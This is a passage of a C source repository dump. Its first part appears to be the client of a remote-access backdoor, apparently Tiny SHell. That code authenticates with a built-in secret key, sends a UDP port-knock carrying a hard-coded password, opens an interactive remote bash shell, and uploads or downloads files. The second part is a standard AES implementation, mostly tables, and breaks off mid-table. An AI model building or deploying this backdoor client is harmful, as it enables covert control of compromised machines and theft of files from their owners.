171 | } 172 | 173 | /* setup the packet encryption layer */ 174 | 175 | if( password == NULL ) 176 | { 177 | /* 1st try, using the built-in secret key */ 178 | 179 | ret = pel_client_init( server, secret ); 180 | 181 | if( ret != PEL_SUCCESS ) 182 | { 183 | close( server ); 184 | 185 | /* secret key invalid, so ask for a password */ 186 | 187 | password = getpass( "Password: " ); 188 | goto connect; 189 | } 190 | } 191 | else 192 | { 193 | /* 2nd try, with the user's password */ 194 | 195 | ret = pel_client_init( server, password ); 196 | 197 | memset( password, 0, strlen( password ) ); 198 | 199 | if( ret != PEL_SUCCESS ) 200 | { 201 | /* password invalid, exit */ 202 | 203 | fprintf( stderr, "Authentication failed.\n" ); 204 | shutdown( server, 2 ); 205 | return( 10 ); 206 | } 207 | 208 | } 209 | 210 | /* send the action requested by the user */ 211 | 212 | ret = pel_send_msg( server, (unsigned char *) &action, 1 ); 213 | 214 | if( ret != PEL_SUCCESS ) 215 | { 216 | pel_error( "pel_send_msg" ); 217 | shutdown( server, 2 ); 218 | return( 11 ); 219 | } 220 | 221 | /* howdy */ 222 | 223 | switch( action ) 224 | { 225 | case GET_FILE: 226 | 227 | ret = tsh_get_file( server, argv[3], argv[4] ); 228 | break; 229 | 230 | case PUT_FILE: 231 | 232 | ret = tsh_put_file( server, argv[3], argv[4] ); 233 | break; 234 | 235 | case RUNSHELL: 236 | 237 | ret = ( ( argc == 3 ) 238 | ? tsh_runshell( server, argv[2] ) 239 | : tsh_runshell( server, "exec bash --login" ) ); 240 | break; 241 | 242 | default: 243 | 244 | ret = -1; 245 | break; 246 | } 247 | 248 | shutdown( server, 2 ); 249 | 250 | return( ret ); 251 | } 252 | 253 | int tsh_get_file( int server, char *argv3, char *argv4 ) 254 | { 255 | char *temp, *pathname; 256 | int ret, len, fd, total; 257 | 258 | /* send remote filename */ 259 | 260 | len = strlen( argv3 ); 261 | 262 | ret = pel_send_msg( server, (unsigned char *) argv3, len ); 263 | 264 | if( ret != PEL_SUCCESS ) 265 | { 266 | pel_error( "pel_send_msg" ); 267 | return( 12 ); 268 | } 269 | 270 | /* create local file */ 271 | 272 | temp = strrchr( argv3, '/' ); 273 | 274 | if( temp != NULL ) temp++; 275 | if( temp == NULL ) temp = argv3; 276 | 277 | len = strlen( argv4 ); 278 | 279 | pathname = (char *) malloc( len + strlen( temp ) + 2 ); 280 | 281 | if( pathname == NULL ) 282 | { 283 | perror( "malloc" ); 284 | return( 13 ); 285 | } 286 | 287 | strcpy( pathname, argv4 ); 288 | strcpy( pathname + len, "/" ); 289 | strcpy( pathname + len + 1, temp ); 290 | 291 | fd = creat( pathname, 0644 ); 292 | 293 | if( fd < 0 ) 294 | { 295 | perror( "creat" ); 296 | return( 14 ); 297 | } 298 | 299 | free( pathname ); 300 | 301 | /* transfer from server */ 302 | 303 | total = 0; 304 | 305 | while( 1 ) 306 | { 307 | ret = pel_recv_msg( server, message, &len ); 308 | 309 | if( ret != PEL_SUCCESS ) 310 | { 311 | if( pel_errno == PEL_CONN_CLOSED && total > 0 ) 312 | { 313 | break; 314 | } 315 | 316 | pel_error( "pel_recv_msg" ); 317 | fprintf( stderr, "Transfer failed.\n" ); 318 | return( 15 ); 319 | } 320 | 321 | if( write( fd, message, len ) != len ) 322 | { 323 | perror( "write" ); 324 | return( 16 ); 325 | } 326 | 327 | total += len; 328 | 329 | printf( "%d\r", total ); 330 | fflush( stdout ); 331 | } 332 | 333 | printf( "%d done.\n", total ); 334 | 335 | return( 0 ); 336 | } 337 | 338 | int tsh_put_file( int server, char *argv3, char *argv4 ) 339 | { 340 | char *temp, *pathname; 341 | int ret, len, fd, total; 342 | 343 | /* send remote filename */ 344 | 345 | temp = strrchr( argv3, '/' ); 346 | 347 | if( temp != NULL ) temp++; 348 | if( temp == NULL ) temp = argv3; 349 | 350 | len = strlen( argv4 ); 351 | 352 | pathname = (char *) malloc( len + strlen( temp ) + 2 ); 353 | 354 | if( pathname == NULL ) 355 | { 356 | perror( "malloc" ); 357 | return( 17 ); 358 | } 359 | 360 | strcpy( pathname, argv4 ); 361 | strcpy( pathname + len, "/" ); 362 | strcpy( pathname + len + 1, temp ); 363 | 364 | len = strlen( pathname ); 365 | 366 | ret = pel_send_msg( server, (unsigned char *) pathname, len ); 367 | 368 | if( ret != PEL_SUCCESS ) 369 | { 370 | pel_error( "pel_send_msg" ); 371 | return( 18 ); 372 | } 373 | 374 | free( pathname ); 375 | 376 | /* open local file */ 377 | 378 | fd = open( argv3, O_RDONLY ); 379 | 380 | if( fd < 0 ) 381 | { 382 | perror( "open" ); 383 | return( 19 ); 384 | } 385 | 386 | /* transfer to server */ 387 | 388 | total = 0; 389 | 390 | while( 1 ) 391 | { 392 | len = read( fd, message, BUFSIZE ); 393 | 394 | if( len < 0 ) 395 | { 396 | perror( "read" ); 397 | return( 20 ); 398 | } 399 | 400 | if( len == 0 ) 401 | { 402 | break; 403 | } 404 | 405 | ret = pel_send_msg( server, message, len ); 406 | 407 | if( ret != PEL_SUCCESS ) 408 | { 409 | pel_error( "pel_send_msg" ); 410 | fprintf( stderr, "Transfer failed.\n" ); 411 | return( 21 ); 412 | } 413 | 414 | total += len; 415 | 416 | printf( "%d\r", total ); 417 | fflush( stdout ); 418 | } 419 | 420 | printf( "%d done.\n", total ); 421 | 422 | return( 0 ); 423 | } 424 | 425 | int tsh_runshell( int server, char *argv2 ) 426 | { 427 | fd_set rd; 428 | char *term; 429 | int ret, len, imf; 430 | struct winsize ws; 431 | struct termios tp, tr; 432 | 433 | /* send the TERM environment variable */ 434 | 435 | term = getenv( "TERM" ); 436 | 437 | if( term == NULL ) 438 | { 439 | term = "vt100"; 440 | } 441 | 442 | len = strlen( term ); 443 | 444 | ret = pel_send_msg( server, (unsigned char *) term, len ); 445 | 446 | if( ret != PEL_SUCCESS ) 447 | { 448 | pel_error( "pel_send_msg" ); 449 | return( 22 ); 450 | } 451 | 452 | /* send the window size */ 453 | 454 | imf = 0; 455 | 456 | if( isatty( 0 ) ) 457 | { 458 | /* set the interactive mode flag */ 459 | 460 | imf = 1; 461 | 462 | if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 ) 463 | { 464 | perror( "ioctl(TIOCGWINSZ)" ); 465 | return( 23 ); 466 | } 467 | } 468 | else 469 | { 470 | /* fallback on standard settings */ 471 | 472 | ws.ws_row = 25; 473 | ws.ws_col = 80; 474 | } 475 | 476 | message[0] = ( ws.ws_row >> 8 ) & 0xFF; 477 | message[1] = ( ws.ws_row ) & 0xFF; 478 | 479 | message[2] = ( ws.ws_col >> 8 ) & 0xFF; 480 | message[3] = ( ws.ws_col ) & 0xFF; 481 | 482 | ret = pel_send_msg( server, message, 4 ); 483 | 484 | if( ret != PEL_SUCCESS ) 485 | { 486 | pel_error( "pel_send_msg" ); 487 | return( 24 ); 488 | } 489 | 490 | /* send the system command */ 491 | 492 | len = strlen( argv2 ); 493 | 494 | ret = pel_send_msg( server, (unsigned char *) argv2, len ); 495 | 496 | if( ret != PEL_SUCCESS ) 497 | { 498 | pel_error( "pel_send_msg" ); 499 | return( 25 ); 500 | } 501 | 502 | /* set the tty to RAW */ 503 | 504 | if( isatty( 1 ) ) 505 | { 506 | if( tcgetattr( 1, &tp ) < 0 ) 507 | { 508 | perror( "tcgetattr" ); 509 | return( 26 ); 510 | } 511 | 512 | memcpy( (void *) &tr, (void *) &tp, sizeof( tr ) ); 513 | 514 | tr.c_iflag |= IGNPAR; 515 | tr.c_iflag &= ~(ISTRIP|INLCR|IGNCR|ICRNL|IXON|IXANY|IXOFF); 516 | tr.c_lflag &= ~(ISIG|ICANON|ECHO|ECHOE|ECHOK|ECHONL|IEXTEN); 517 | tr.c_oflag &= ~OPOST; 518 | 519 | tr.c_cc[VMIN] = 1; 520 | tr.c_cc[VTIME] = 0; 521 | 522 | if( tcsetattr( 1, TCSADRAIN, &tr ) < 0 ) 523 | { 524 | perror( "tcsetattr" ); 525 | return( 27 ); 526 | } 527 | } 528 | 529 | /* let's forward the data back and forth */ 530 | 531 | while( 1 ) 532 | { 533 | FD_ZERO( &rd ); 534 | 535 | if( imf != 0 ) 536 | { 537 | FD_SET( 0, &rd ); 538 | } 539 | 540 | FD_SET( server, &rd ); 541 | 542 | if( select( server + 1, &rd, NULL, NULL, NULL ) < 0 ) 543 | { 544 | perror( "select" ); 545 | ret = 28; 546 | break; 547 | } 548 | 549 | if( FD_ISSET( server, &rd ) ) 550 | { 551 | ret = pel_recv_msg( server, message, &len ); 552 | 553 | if( ret != PEL_SUCCESS ) 554 | { 555 | if( pel_errno == PEL_CONN_CLOSED ) 556 | { 557 | ret = 0; 558 | } 559 | else 560 | { 561 | pel_error( "pel_recv_msg" ); 562 | ret = 29; 563 | } 564 | break; 565 | } 566 | 567 | if( write( 1, message, len ) != len ) 568 | { 569 | perror( "write" ); 570 | ret = 30; 571 | break; 572 | } 573 | } 574 | 575 | if( imf != 0 && FD_ISSET( 0, &rd ) ) 576 | { 577 | len = read( 0, message, BUFSIZE ); 578 | 579 | if( len == 0 ) 580 | { 581 | fprintf( stderr, "stdin: end-of-file\n" ); 582 | ret = 31; 583 | break; 584 | } 585 | 586 | if( len < 0 ) 587 | { 588 | perror( "read" ); 589 | ret = 32; 590 | break; 591 | } 592 | 593 | ret = pel_send_msg( server, message, len ); 594 | 595 | if( ret != PEL_SUCCESS ) 596 | { 597 | pel_error( "pel_send_msg" ); 598 | ret = 33; 599 | break; 600 | } 601 | } 602 | } 603 | 604 | /* restore the terminal attributes */ 605 | 606 | if( isatty( 1 ) ) 607 | { 608 | tcsetattr( 1, TCSADRAIN, &tp ); 609 | } 610 | 611 | return( ret ); 612 | } 613 | 614 | void pel_error( char *s ) 615 | { 616 | switch( pel_errno ) 617 | { 618 | case PEL_CONN_CLOSED: 619 | 620 | fprintf( stderr, "%s: Connection closed.\n", s ); 621 | break; 622 | 623 | case PEL_SYSTEM_ERROR: 624 | 625 | perror( s ); 626 | break; 627 | 628 | case PEL_WRONG_CHALLENGE: 629 | 630 | fprintf( stderr, "%s: Wrong challenge.\n", s ); 631 | break; 632 | 633 | case PEL_BAD_MSG_LENGTH: 634 | 635 | fprintf( stderr, "%s: Bad message length.\n", s ); 636 | break; 637 | 638 | case PEL_CORRUPTED_DATA: 639 | 640 | fprintf( stderr, "%s: Corrupted data.\n", s ); 641 | break; 642 | 643 | case PEL_UNDEFINED_ERROR: 644 | 645 | fprintf( stderr, "%s: No error.\n", s ); 646 | break; 647 | 648 | default: 649 | 650 | fprintf( stderr, "%s: Unknown error code.\n", s ); 651 | break; 652 | } 653 | } 654 | 655 | int knock(const char* server) 656 | { 657 | struct sockaddr_in myaddr, remaddr; 658 | int fd, i, slen=sizeof(remaddr); 659 | 660 | /* create a socket */ 661 | 662 | if ((fd=socket(AF_INET, SOCK_DGRAM, 0))==-1) 663 | printf("socket created\n"); 664 | 665 | /* bind it to all local addresses and pick any port number */ 666 | 667 | memset((char *)&myaddr, 0, sizeof(myaddr)); 668 | myaddr.sin_family = AF_INET; 669 | myaddr.sin_addr.s_addr = htonl(INADDR_ANY); 670 | myaddr.sin_port = htons(0); 671 | 672 | if (bind(fd, (struct sockaddr *)&myaddr, sizeof(myaddr)) < 0) { 673 | perror("bind failed"); 674 | return 0; 675 | } 676 | 677 | /* now define remaddr, the address to whom we want to send messages */ 678 | /* For convenience, the host address is expressed as a numeric IP address */ 679 | /* that we will convert to a binary format via inet_aton */ 680 | 681 | memset((char *) &remaddr, 0, sizeof(remaddr)); 682 | remaddr.sin_family = AF_INET; 683 | remaddr.sin_port = htons(KNOCK_PORT); 684 | if (inet_aton(server, &remaddr.sin_addr)==0) { 685 | fprintf(stderr, "inet_aton() failed\n"); 686 | exit(1); 687 | } 688 | 689 | /* now let's send the messages */ 690 | 691 | sendto(fd, KNOCK_PWD EOL, strlen(KNOCK_PWD EOL), 0, (struct sockaddr *)&remaddr, slen); 692 | 693 | close(fd); 694 | return 0; 695 | } 696 | 697 | -------------------------------------------------------------------------------- /aes.c: -------------------------------------------------------------------------------- 1 | /* 2 | * FIPS-197 compliant AES implementation, 3 | * by Christophe Devine ; 4 | * this program is licensed under the GPL. 5 | */ 6 | 7 | #include "aes.h" 8 | 9 | /* forward S-box */ 10 | 11 | static uint32 FSb[256] = 12 | { 13 | 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 14 | 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 15 | 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 16 | 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 17 | 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 18 | 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 19 | 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 20 | 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 21 | 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 22 | 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 23 | 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 24 | 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 25 | 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 26 | 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 27 | 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 28 | 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 29 | 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 30 | 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 31 | 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 32 | 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 33 | 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 34 | 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 35 | 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 36 | 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 37 | 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 38 | 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 39 | 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 40 | 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 41 | 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 42 | 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 43 | 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 44 | 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 45 | }; 46 | 47 | /* forward table */ 48 | 49 | #define FT \ 50 | \ 51 | V(C6,63,63,A5), V(F8,7C,7C,84), V(EE,77,77,99), V(F6,7B,7B,8D), \ 52 | V(FF,F2,F2,0D), V(D6,6B,6B,BD), V(DE,6F,6F,B1), V(91,C5,C5,54), \ 53 | V(60,30,30,50), V(02,01,01,03), V(CE,67,67,A9), V(56,2B,2B,7D), \ 54 | V(E7,FE,FE,19), V(B5,D7,D7,62), V(4D,AB,AB,E6), V(EC,76,76,9A), \ 55 | V(8F,CA,CA,45), V(1F,82,82,9D), V(89,C9,C9,40), V(FA,7D,7D,87), \ 56 | V(EF,FA,FA,15), V(B2,59,59,EB), V(8E,47,47,C9), V(FB,F0,F0,0B), \ 57 | V(41,AD,AD,EC), V(B3,D4,D4,67), V(5F,A2,A2,FD), V(45,AF,AF,EA), \ 58 | V(23,9C,9C,BF), V(53,A4,A4,F7), V(E4,72,72,96), V(9B,C0,C0,5B), \ 59 | V(75,B7,B7,C2), V(E1,FD,FD,1C), V(3D,93,93,AE), V(4C,26,26,6A), \ 60 | V(6C,36,36,5A), V(7E,3F,3F,41), V(F5,F7,F7,02), V(83,CC,CC,4F), \ 61 | V(68,34,34,5C), V(51,A5,A5,F4), V(D1,E5,E5,34), V(F9,F1,F1,08), \ 62 | V(E2,71,71,93), V(AB,D8,D8,73), V(62,31,31,53), V(2A,15,15,3F), \ 63 | V(08,04,04,0C), V(95,C7,C7,52), V(46,23,23,65), V(9D,C3,C3,5E), \ 64 | V(30,18,18,28), V(37,96,96,A1), V(0A,05,05,0F), V(2F,9A,9A,B5), \ 65 | V(0E,07,07,09), V(24,12,12,36), V(1B,80,80,9B), V(DF,E2,E2,3D), \ 66 | V(CD,EB,EB,26), V(4E,27,27,69), V(7F,B2,B2,CD), V(EA,75,75,9F), \ 67 | V(12,09,09,1B), V(1D,83,83,9E), V(58,2C,2C,74), V(34,1A,1A,2E), \ 68 | V(36,1B,1B,2D), V(DC,6E,6E,B2), V(B4,5A,5A,EE), V(5B,A0,A0,FB), \ 69 | V(A4,52,52,F6), V(76,3B,3B,4D), V(B7,D6,D6,61), V(7D,B3,B3,CE), \ 70 | V(52,29,29,7B), V(DD,E3,E3,3E), V(5E,2F,2F,71), V(13,84,84,97), \ 71 | V(A6,53,53,F5), V(B9,D1,D1,68), V(00,00,00,00), V(C1,ED,ED,2C), \ 72 | V(40,20,20,60), V(E3,FC,FC,1F), V(79,B1,B1,C8), V(B6,5B,5B,ED), \ 73 | V(D4,6A,6A,BE), V(8D,CB,CB,46), V(67,BE,BE,D9), V(72,39,39,4B), \ 74 | V(94,4A,4A,DE), V(98,4C,4C,D4), V(B0,58,58,E8), V(85,CF,CF,4A), \ 75 | V(BB,D0,D0,6B), V(C5,EF,EF,2A), V(4F,AA,AA,E5), V(ED,FB,FB,16), \ 76 | V(86,43,43,C5), V(9A,4D,4D,D7), V(66,33,33,55), V(11,85,85,94), \ 77 | V(8A,45,45,CF), V(E9,F9,F9,10), V(04,02,02,06), V(FE,7F,7F,81), \ 78 | V(A0,50,50,F0), V(78,3C,3C,44), V(25,9F,9F,BA), V(4B,A8,A8,E3), \ 79 | V(A2,51,51,F3), V(5D,A3,A3,FE), V(80,40,40,C0), V(05,8F,8F,8A), \ 80 | V(3F,92,92,AD), V(21,9D,9D,BC), V(70,38,38,48), V(F1,F5,F5,04), \ 81 | V(63,BC,BC,DF), V(77,B6,B6,C1), V(AF,DA,DA,75), V(42,21,21,63), \ 82 | V(20,10,10,30), V(E5,FF,FF,1A), V(FD,F3,F3,0E), V(BF,D2,D2,6D), \ 83 | V(81,CD,CD,4C), V(18,0C,0C,14), V(26,13,13,35), V(C3,EC,EC,2F), \ 84 | V(BE,5F,5F,E1), V(35,97,97,A2), V(88,44,44,CC), V(2E,17,17,39), \ 85 | V(93,C4,C4,57), V(55,A7,A7,F2), V(FC,7E,7E,82), V(7A,3D,3D,47), \ 86 | V(C8,64,64,AC), V(BA,5D,5D,E7), V(32,19,19,2B), V(E6,73,73,95), \ 87 | V(C0,60,60,A0), V(19,81,81,98), V(9E,4F,4F,D1), V(A3,DC,DC,7F), \ 88 | V(44,22,22,66), V(54,2A,2A,7E), V(3B,90,90,AB), V(0B,88,88,83), \ 89 | V(8C,46,46,CA), V(C7,EE,EE,29), V(6B,B8,B8,D3), V(28,14,14,3C), \ 90 | V(A7,DE,DE,79), V(BC,5E,5E,E2), V(16,0B,0B,1D), V(AD,DB,DB,76), \ 91 | V(DB,E0,E0,3B), V(64,32,32,56), V(74,3A,3A,4E), V(14,0A,0A,1E), \ 92 | V(92,49,49,DB), V(0C,06,06,0A), V(48,24,24,6C), V(B8,5C,5C,E4), \ 93 | V(9F,C2,C2,5D), V(BD,D3,D3,6E), V(43,AC,AC,EF), V(C4,62,62,A6), \ 94 | V(39,91,91,A8), V(31,95,95,A4), V(D3,E4,E4,37), V(F2,79,79,8B), \ 95 | V(D5,E7,E7,32), V(8B,C8,C8,43), V(6E,37,37,59), V(DA,6D,6D,B7), \ 96 | V(01,8D,8D,8C), V(B1,D5,D5,64), V(9C,4E,4E,D2), V(49,A9,A9,E0), \ 97 | V(D8,6C,6C,B4), V(AC,56,56,FA), V(F3,F4,F4,07), V(CF,EA,EA,25), \ 98 | V(CA,65,65,AF), V(F4,7A,7A,8E), V(47,AE,AE,E9), V(10,08,08,18), \ 99 | V(6F,BA,BA,D5), V(F0,78,78,88), V(4A,25,25,6F), V(5C,2E,2E,72), \ 100 | V(38,1C,1C,24), V(57,A6,A6,F1), V(73,B4,B4,C7), V(97,C6,C6,51), \ 101 | V(CB,E8,E8,23), V(A1,DD,DD,7C), V(E8,74,74,9C), V(3E,1F,1F,21), \ 102 | V(96,4B,4B,DD), V(61,BD,BD,DC), V(0D,8B,8B,86), V(0F,8A,8A,85), \ 103 | V(E0,70,70,90), V(7C,3E,3E,42), V(71,B5,B5,C4), V(CC,66,66,AA), \ 104 | V(90,48,48,D8), V(06,03,03,05), V(F7,F6,F6,01), V(1C,0E,0E,12), \ 105 | V(C2,61,61,A3), V(6A,35,35,5F), V(AE,57,57,F9), V(69,B9,B9,D0), \ 106 | V(17,86,86,91), V(99,C1,C1,58), V(3A,1D,1D,27), V(27,9E,9E,B9), \ 107 | V(D9,E1,E1,38), V(EB,F8,F8,13), V(2B,98,98,B3), V(22,11,11,33), \ 108 | V(D2,69,69,BB), V(A9,D9,D9,70), V(07,8E,8E,89), V(33,94,94,A7), \ 109 | V(2D,9B,9B,B6), V(3C,1E,1E,22), V(15,87,87,92), V(C9,E9,E9,20), \ 110 | V(87,CE,CE,49), V(AA,55,55,FF), V(50,28,28,78), V(A5,DF,DF,7A), \ 111 | V(03,8C,8C,8F), V(59,A1,A1,F8), V(09,89,89,80), V(1A,0D,0D,17), \ 112 | V(65,BF,BF,DA), V(D7,E6,E6,31), V(84,42,42,C6), V(D0,68,68,B8), \ 113 | V(82,41,41,C3), V(29,99,99,B0), V(5A,2D,2D,77), V(1E,0F,0F,11), \ 114 | V(7B,B0,B0,CB), V(A8,54,54,FC), V(6D,BB,BB,D6), V(2C,16,16,3A) 115 | 116 | #define V(a,b,c,d) 0x##a##b##c##d 117 | static uint32 FT0[256] = { FT }; 118 | #undef V 119 | 120 | #define V(a,b,c,d) 0x##d##a##b##c 121 | static uint32 FT1[256] = { FT }; 122 | #undef V 123 | 124 | #define V(a,b,c,d) 0x##c##d##a##b 125 | static uint32 FT2[256] = { FT }; 126 | #undef V 127 | 128 | #define V(a,b,c,d) 0x##b##c##d##a 129 | static uint32 FT3[256] = { FT }; 130 | #undef V 131 | 132 | /* reverse S-box */ 133 | 134 | static uint32 RSb[256] = 135 | { 136 | 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 137 | 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 138 | 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 139 | 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 140 | 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 141 | 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 142 | 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 143 | 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 144 | 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 145 | 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 146 | 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 147 | 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 148 | 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 149 | 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 150 | 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 151 | 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 152 | 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 153 | 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 154 | 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 155 | 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 156 | 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 157 | 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 158 | 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 159 | 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 160 | 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 161 | 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 162 | 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 163 | 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 164 | 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 165 | 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 166 | 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 167 | 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D 168 | }; 169 | 170 | /* reverse table */ 171 | 172 | #define RT \ 173 | \ 174 | V(51,F4,A7,50), V(7E,41,65,53), V(1A,17,A4,C3), V(3A,27,5E,96), \ 175 | V(3B,AB,6B,CB), V(1F,9D,45,F1), V(AC,FA,58,AB), V(4B,E3,03,93), \ 176 | V(20,30,FA,55), V(AD,76,6D,F6), V(88,CC,76,91), V(F5,02,4C,25), \ 177 | V(4F,E5,D7,FC), V(C5,2A,CB,D7), V(26,35,44,80), V(B5,62,A3,8F), \ 178 | V(DE,B1,5A,49), V(25,BA,1B,67), V(45,EA,0E,98), V(5D,FE,C0,E1), \ 179 | V(C3,2F,75,02), V(81,4C,F0,12), V(8D,46,97,A3), V(6B,D3,F9,C6), \ 180 | V(03,8F,5F,E7), V(15,92,9C,95), V(BF,6D,7A,EB), V(95,52,59,DA), \ 181 | V(D4,BE,83,2D), V(58,74,21,D3), V(49,E0,69,29), V(8E,C9,C8,44), \ 182 | V(75,C2,89,6A), V(F4,8E,79,78), V(99,58,3E,6B), V(27,B9,71,DD), \ 183 | V(BE,E1,4F,B6), V(F0,88,AD,17), V(C9,20,AC,66), V(7D,CE,3A,B4), \ 184 | V(63,DF,4A,18), V(E5,1A,31,82), V(97,51,33,60), V(62,53,7F,45), \ 185 | V(B1,64,77,E0), V(BB,6B,AE,84), V(FE,81,A0,1C), V(F9,08,2B,94), \ 186 | V(70,48,68,58), V(8F,45,FD,19), V(94,DE,6C,87), V(52,7B,F8,B7), \ 187 | V(AB,73,D3,23), V(72,4B,02,E2), V(E3,1F,8F,57), V(66,55,AB,2A), \ 188 | V(B2,EB,28,07), V(2F,B5,C2,03), V(86,C5,7B,9A), V(D3,37,08,A5), \ 189 | V(30,28,87,F2), V(23,BF,A5,B2), V(02,03,6A,BA), V(ED,16,82,5C), \ 190 | V(8A,CF,1C,2B), V(A7,79,B4,92), V(F3,07,F2,F0), V(4E,69,E2,A1), \ 191 | V(65,DA,F4,CD), V(06,05,BE,D5), V(D1,34,62,1F), V(C4,A6,FE,8A), \ 192 | V(34,2E,53,9D), V(A2,F3,55,A0), V(05,8A,E1,32), V(A4,F6,EB,75), \ 193 | V(0B,83,EC,39), V(40,60,EF,AA), V(5E,71,9F,06), V(BD,6E,10,51), \ 194 | V(3E,21,8A,F9), V(96,DD,06,3D), V(DD,3E,05,AE), V(4D,E6,BD,46), \ 195 | V(91,54,8D,B5), V(71,C4,5D,05), V(04,06,D4,6F), V(60,50,15,FF), \ 196 | V(19,98,FB,24), V(D6,BD,E9,97), V(89,40,43,CC), V(67,D9,9E,77), \ 197 | V(B0,E8,42,BD), V(07,89,8B,88), V(E7,19,5B,38), V(79,C8,EE,DB), \ 198 | V(A1,7C,0A,47), V(7C,42,0F,E9), V(F8,84,1E,C9), V(00,00,00,00), \ 199 | V(09,80,86,83), V(32,2B,ED,48), V(1E,11,70,AC), V(6C,5A,72,4E), \ 200 | V(FD,0E,FF,FB), V(0F,85,38,56), V(3D,AE,D5,1E), V(36,2D,39,27), \ 201 | V(0A,0F,D9,64), V(68,5C,A6,21), V(9B,5B,54,D1), V(24,36,2E,3A), \ 202 | V(0C,0A,67,B1), V(93,57,E7,0F), V(B4,EE,96,D2), V(1B,9B,91,9E), \ 203 | V(80,C0,C5,4F), V(61,DC,20,A2), V(5A,77,4B,69), V(1C,12,1A,16), \ 204 | V(E2,93,BA,0A), V(C0,A0,2A,E5), V(3C,22,E0,43), V(12,1B,17,1D), \ 205 | V(0E,09,0D,0B), V(F2,8B,C7,AD), 